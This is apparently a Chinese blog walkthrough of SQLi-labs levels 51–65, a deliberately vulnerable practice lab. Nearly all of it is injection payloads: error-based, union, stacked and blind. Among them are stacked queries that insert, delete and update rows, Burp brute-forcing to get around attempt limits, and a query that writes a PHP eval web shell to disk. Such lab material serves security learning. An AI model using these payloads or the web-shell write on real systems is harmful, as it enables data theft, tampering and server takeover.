SQLi-labs靶场(51-65)过关超详细0基础

第五十一关

?sort=1'

判断为单引号闭合且存在报错信息

使用报错注入(也可以用堆叠注入)

?sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

爆库

?sort=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+

爆表

?sort=1' and updatexml(1,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_name='users'),120,31),0x7e),1)--+

爆列

?sort=1' and updatexml(1,concat(0x7e,mid((select group_concat(username,password) from users),1,31),0x7e),1)--+

爆字段

过关

第五十二关

没有闭合,且不存在报错信息,可以使用盲注,也可以使用堆叠注入

也可以注入后门

?sort=1 into outfile "C:\\phpstudy_pro\\WWW\\sqli-labs\\Less-52\\1.php" lines terminated by '<?php @eval($_POST[admin]);?>'--+

启动蚁剑,登录成功

过关

第五十三关

与五十二关一样,但是单引号闭合

可以使用堆叠注入,盲注,后门

这里演示以下堆叠注入,演示增删改操作

?sort=1';insert into users(id,username,password) values ('111','111','111')--+

?sort=1';delete from users where id='111'--+

?sort=1';update users set username='admin5' where username='admin4'--+

第五十四关

这关是随机挑战,需要获取密钥,但是需要在10步内

?id=1'

确定闭合

?id=-1' union select 1,2,3--+

判断显位

?id=-1' union select 1,2,database()--+

爆库challenges

?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')--+

爆表名

?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='mvv1nn64zf')--+

爆列名

?id=-1' union select 1,2,(select group_concat(id,'/',sessid,'/',secret_5FHO,'/',tryy) from mvv1nn64zf)--+

爆出字段

选择secret_5FHO中的内容,输入输入框

轻轻松松,10次太简单了

过关

第 五十五关

这次有14次的机会

?id=1

?id=1’  ?id=1”  ?id=1’)   ?id=1”)

然后机会快用完了才发现是括号闭合T-T

只能开第二把了

?id=-1) union select 1,2,3--+

?id=-1) union select 1,2,database()--+

?id=-1) union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')--+

?id=-1) union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='manofsa2g0')--+

?id=-1) union select 1,2,(select group_concat(secret_9XH6) from manofsa2g0)--+

虽然从开了一把,但也是简简单单

第五十六关

先测闭合点

?id=1’

?id=1”  ?id=1’)

?id=-1')union select 1,2,3--+

?id=-1')union select 1,2,database()--+

?id=-1')union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')--+

?id=-1')union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='vlkpiyycoq')--+

打错字了一回合,我测

?id=-1')union select 1,2,(select group_concat(secret_1STI) from vlkpiyycoq)--+

EZ

第五十七关

?id=1’

?id=1”

?id=-1" union select 1,2,3--+

?id=-1" union select 1,2,database()--+

?id=-1" union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')--+

?id=-1" union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='qkcor9i3g2')--+

经典手滑一轮

?id=-1" union select 1,2,(select group_concat(secret_EO47) from qkcor9i3g2)--+

Ez,轻松通过

第五十八关

WTF 五轮内解决战斗吗,我承认说大话了

?id=1” 不报错

?id=1’ 报错

这就过去两轮了,联合查询应该是不够了,没办法了,

对他使用报错注入吧(好像需要的访问次数是一样的)

?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)--+

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='cq8hx5v69s'),0x7e),1)--+

还是……不够吗,看来闭合点只能用一回合蒙中

于是,我重生了,重生到了刚做第五十八关的那一分钟

带着前世的记忆,我很快就知道了闭合点是单引号闭合

?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)--+

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='o9xk176ndu'),0x7e),1)--+

?id=1' and updatexml(1,concat(0x7e,(select group_concat(secret_CVDY) from o9xk176ndu),0x7e),1)--+

Ok这一次还留了一个容错过关

第五十九关

这一次也是只有5次访问机会

也是重生了无数把,发现没有闭合..

?id=1 and updatexml(1,concat(0x7e,database(),0x7e),1)--+

?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)--+

?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='vja9wi493z'),0x7e),1)--+

?id=1 and updatexml(1,concat(0x7e,(select group_concat(secret_DW74) from vja9wi493z),0x7e),1)--+

第六十关

?id=1"

?id=1")

?id=1") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)--+

突然发现数据库名好像题目里有,可以省一回合

?id=1") and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='0hv26p3u0f'),0x7e),1)--+

?id=1") and updatexml(1,concat(0x7e,(select group_concat(secret_MB6W) from 0hv26p3u0f),0x7e),1)--+

第六十一关

?id=1'

?id=1')) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)--+

?id=1')) and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='0zukq3u44c'),0x7e),1)--+

?id=1')) and updatexml(1,concat(0x7e,(select group_concat(secret_F5K0) from 0zukq3u44c),0x7e),1)--+

第六十二关

这里看到限制130次,应该是要盲注了

?id=1' and length(database())>1--+

?id=1" and length(database())>1--+

?id=1") and length(database())>1--+

?id=1') and length(database())>1--+

还是先确定闭合点,确定为单引号括号闭合

?id=1') and length(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1))=10--+

确定表名有10位

?id=1') and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='8'--+

确定表第一位是8(通过burp爆破,用burp就可以绕过次数限制了嘻嘻)

?id=1') and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,10)='8q4r8rhld3'--+

依次推出8q4r8rhld3

?id=1') and length(substr((select column_name from information_schema.columns where table_name='8q4r8rhld3'limit 0,1),1))=2--+

确定第一列有2位

?id=1') and length(substr((select column_name from information_schema.columns where table_name='8q4r8rhld3'limit 1,1),1))=6--+

第二列6位

?id=1') and length(substr((select column_name from information_schema.columns where table_name='8q4r8rhld3'limit 2,1),1))=11--+

第三列11位

?id=1') and length(substr((select column_name from information_schema.columns where table_name='8q4r8rhld3'limit 3,1),1))=4--+

第四列4位

?id=1') and substr((select column_name from information_schema.columns where table_name='8q4r8rhld3'limit 2,1),1,1)='§a§'--+

依次爆破第三列名的全部字符

?id=1') and substr((select column_name from information_schema.columns where table_name='8q4r8rhld3'limit 2,1),1,11)='secret_1jo0'--+

第三列名是secret_1jo0

?id=1') and length(substr((select secret_1jo0 from 8q4r8rhld3 limit 0,1),1))=24--+

得到这列下面的第一个字符有24位,晕

?id=1') and substr((select secret_1jo0 from 8q4r8rhld3 limit 0,1),1,1)='§a§'--+

依次爆破最终的密钥

s7ijxbhoqw28vzfut7lz5wwm

第六十三关

(手工注入要晕掉了,实战还是得使用sqlmap)

?id=1' and length(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1))=10--+

#确定表名有10位

?id=1' and substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,10)='9zuk28x2yo'--+

#推出表名为9zuk28x2yo

?id=1' and length(substr((select column_name from information_schema.columns where table_name='9zuk28x2yo'limit 2,1),1))=11--+

#确定第三列列名有11位

?id=1' and substr((select column_name from information_schema.columns where table_name='9zuk28x2yo'limit 2,1),1,11)='secret_BP5W'--+

#推出列名为secret_BP5W

?id=1' and length(substr((select secret_BP5W from 9zuk28x2yo limit 0,1),1))='24'--+

#字段有24位

?id=1' and substr((select secret_BP5W from 9zuk28x2yo limit 0,1),1,1)='§a§'--+

#依次推出全部的字段

第六十四关

这关为两个括号闭合,与前几关思路相同

?id=1))--+

?id=1)) and length(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1))=10--+

#确定表名有10位

?id=1)) and substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,10)='o09av5mj2y'--+

#确定表名为o09av5mj2y

?id=1)) and length(substr((select column_name from information_schema.columns where table_name='o09av5mj2y'limit 2,1),1))=11--+

#第三列列名有11位

?id=1)) and substr((select column_name from information_schema.columns where table_name='o09av5mj2y'limit 2,1),1,11)='secret_M6Q9'--+

#列名为secret_M6Q9

?id=1)) and length(substr((select secret_M6Q9 from o09av5mj2y limit 0,1),1))=24--+

#字段长度为24

?id=1)) and substr((select secret_M6Q9 from o09av5mj2y limit 0,1),1,1)='§a§'--+

#依次推出全部的字段

第六十五关

与前几关一致,但是双引号括号闭合

?id=1")and length(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1))=10--+

推出表格名有10位

后面不再赘述

终于结束了,感觉还是偏基础的,巩固以下sql注入蛮好的

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值